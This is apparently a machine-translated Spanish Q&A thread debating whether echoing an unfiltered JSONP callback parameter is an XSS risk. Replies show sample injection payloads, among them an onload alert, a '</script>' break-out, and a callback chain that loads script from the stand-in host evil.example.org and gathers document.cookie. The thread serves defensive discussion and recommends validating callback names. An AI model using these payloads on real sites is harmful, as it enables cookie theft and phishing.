2012-01-05 2 views
6

Algunos de nuestros clientes han interpelado sobre una vulnerabilidad XSS percibida en todos nuestros puntos finales JSONP, pero estoy en desacuerdo sobre si realmente constituye o no una vulnerabilidad. Quería obtener la opinión de la comunidad para asegurarme de no perderme nada.Vulnerabilidad aparente de jsonp xss

Por lo tanto, al igual que con cualquier sistema jsonp, tenemos un punto final como:

http://foo.com/jsonp?cb=callback123 

donde el valor del parámetro CB se repite de nuevo en la respuesta:

callback123({"foo":"bar"}); 

Los clientes se han quejado de que no filtramos el código HTML en el parámetro CB, así que crearán un ejemplo como este:

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!-- 

Obviamente para una URL que devuelve el tipo de contenido text/html, esto plantea un problema en el que el navegador representa ese HTML y luego ejecuta el javascript potencialmente malicioso en el controlador de carga. Podría usarse para robar cookies y enviarlas al sitio del atacante, o incluso para generar una pantalla de inicio de sesión falsa para phishing. El usuario verifica el dominio y ve que es uno en el que confía, por lo que se pone en marcha e inicia sesión.

Pero, en nuestro caso, estamos configurando el encabezado del tipo de contenido en application/javascript, que causa diferentes comportamientos en diferentes navegadores. es decir, Firefox simplemente muestra el texto sin procesar, mientras que IE abre un cuadro de diálogo "guardar como ...". No considero que ninguno de los dos sea particularmente explotable. El usuario de Firefox no leerá texto malicioso diciéndole que salte de un puente y piense mucho sobre él. Y el usuario de IE probablemente se confundirá con el diálogo de guardar como y presionará cancelar.

Supongo que podría ver un caso donde el usuario de IE es engañado para guardar y abrir el archivo .js, que luego pasa por el motor de Microsoft JScript y obtiene todo tipo de acceso a la máquina del usuario; pero eso parece poco probable. ¿Es esa la mayor amenaza aquí o hay alguna otra vulnerabilidad que eché de menos?

(Obviamente voy a "corregir" al poner filtros para aceptar solo un identificador de JavaScript válido, con un límite de longitud por caso, pero solo quería un diálogo sobre otras amenazas que podría haber perdido .)

+0

"Solo quería un diálogo sobre qué otras amenazas podría haber perdido "cuál es la pregunta ... y gracias a Dios que los clientes solo se han quejado" ¡Me sorprende que no hayan pirateado su sitio! – TheBlackBenzKid

+0

También. documento.write e innerHTML - He encontrado estos dos comandos como soluciones cuando uso los encabezados de la aplicación/javascript en mi servidor nginx - resuelve mi IE o cualquier otro problema. La página simplemente ejecuta texto o código de manera normal – TheBlackBenzKid

Respuesta

1

No hay nada que les impida hacer algo que inserte código, si ese es el caso.

Imagine una URL como http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. Cuando el cliente lo recibe, dependiendo de cómo maneje JSONP, puede introducir la capacidad de ejecutar JS de complejidad arbitraria.

En cuanto a cómo esto es un vector de ataque: imagine un proxy HTTP, que es un proxy de reenvío transparente para todas las URL excepto http://example.com/jsonp, donde toma la parte cb de la cadena de consulta y antepone algunas JS maliciosas y redirige a esa URL

+4

Ehhh, presupone que el hacker ha enrutado al usuario a través de un proxy malicioso bajo su control. Hacker no necesita ensuciar con mis parámetros JSONP en ese caso. Él puede simplemente insertar lo que quiera donde quiera. –

+0

Verdadero --- pero hacer eso permite que sea mucho más sutil. – gsnedders

2

Su sitio tendría una vulnerabilidad XSS si el nombre de esa devolución de llamada (el valor de "cb") fuera derivado ciegamente de algún otro valor de entrada anterior. El hecho de que un usuario pueda crear una URL manualmente que envíe JavaScript a través de su API JSONP y viceversa no es más interesante que el hecho de que puede ejecutar el mismo JavaScript directamente a través de la consola de JavaScript del navegador.

Ahora, si su sitio devolviese contenido JSON a esa devolución de llamada que utilizaba la entrada del usuario no filtrada del formulario, o más insidiosamente de alguna otra forma que previamente almacenaba algo en su base de datos, entonces tendría un problema .Al igual que, si tuviera un campo "Comentarios" en su respuesta:

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" }) 

entonces ese comentario, cuyo valor era x"+alert("haxored")+"y, sería un ataque XSS. Sin embargo, cualquier buen codificador JSON lo solucionaría citando los caracteres de comillas dobles.

Dicho esto, no hay ningún problema para garantizar que el nombre de devolución de llamada sea un identificador de JavaScript válido. En realidad, no hay mucho más que pueda hacer, ya que, por definición, su servicio JSONP público, para funcionar correctamente, debe hacer lo que la página del cliente quiera que haga.

0

Como lo indica Pointy, el solo hecho de invocar la URL directamente no es explotable. Sin embargo, si alguno de sus propios códigos de JavaScript realiza llamadas al servicio JSON con datos proporcionados por el usuario y representa los valores en la respuesta al documento, o eval() s la respuesta (ya sea ahora o en el futuro a medida que su aplicación evolucione) con el tiempo), entonces tiene una vulnerabilidad XSS genuinamente explotable.

Personalmente, seguiría considerándola una vulnerabilidad de bajo riesgo, aunque hoy en día no sea explotable. ¿Por qué no abordarlo ahora y eliminar el riesgo de que sea en parte responsable de introducir una vulnerabilidad de mayor riesgo en algún momento en el futuro?

4

Su inyección tendría que ser algo así como </script><h1>pwned</h1>

sería relativamente trivial para que verifique que (suponiendo PHP) $_GET['callback'] es un nombre de función JavaScript válida.

El objetivo de JSONP es evitar las restricciones del navegador que intentan prevenir las vulnerabilidades de tipo XSS, por lo que en algún nivel debe haber confianza entre el proveedor JSONP y el sitio solicitante.

SIN EMBARGO, la vulnerabilidad SÓLO aparece si el cliente no está manejando inteligentemente la entrada del usuario: si codifican todos sus nombres de devolución de llamada JSONP, entonces no existe la posibilidad de una vulnerabilidad.

1

Otro ejemplo sería hacer dos peticiones como éstas:

http://example.org/api.php 
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

que llamar:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... }); 

y HTTP (s): //evil.example.org/x.js sería solicitud:

http://example.org/api.php 
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata: 

que llamar:

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. }); 

Las posibilidades son infinitas.

Consulte Do I need to sanitize the callback parameter from a JSONP call? para ver un ejemplo de desinfección de una devolución de llamada JSON.

También tenga en cuenta que (algunas versiones de?) Internet Explorer ignoran su encabezado de tipo de contenido. Es obstinado y se busca a sí mismo en los primeros bytes, y si parece contenido html-like, está bien con analizar y ejecutarlo todo como texto/html todo el camino ...

+0

Tenga en cuenta que insertar solo JavaScript no hace nada por nadie. Eso solo se evaluará si se invoca como JSONP desde otra página controlada por el atacante (o un usuario confiable de mi SDK). document.cookie y window.location van a apuntar al sitio del consumidor del SDK en ese caso ... no van a revelar ninguna información a la que no hayan tenido acceso. Básicamente estarían perdiendo el tiempo con una implementación complicada. –

+0

Cuando se interpreta HTML malicioso, es un poco diferente. El ataque en ese caso involucra al pirata informático engañando al usuario para que haga clic en su enlace especial, por lo que todo el shabang se ejecuta en el entorno limitado de mi sitio, no en el del pirata informático. Entonces él PUEDE leer document.domain, etc. Siento curiosidad por saber qué versiones de IE ignorarán el tipo de contenido. ¿Tiene más información sobre qué versiones o qué contenido mágico busca? Probé 7 8 y 9. Ya no tengo 6 instalados, pero recuerdo haberlo visto de la misma manera en el pasado. –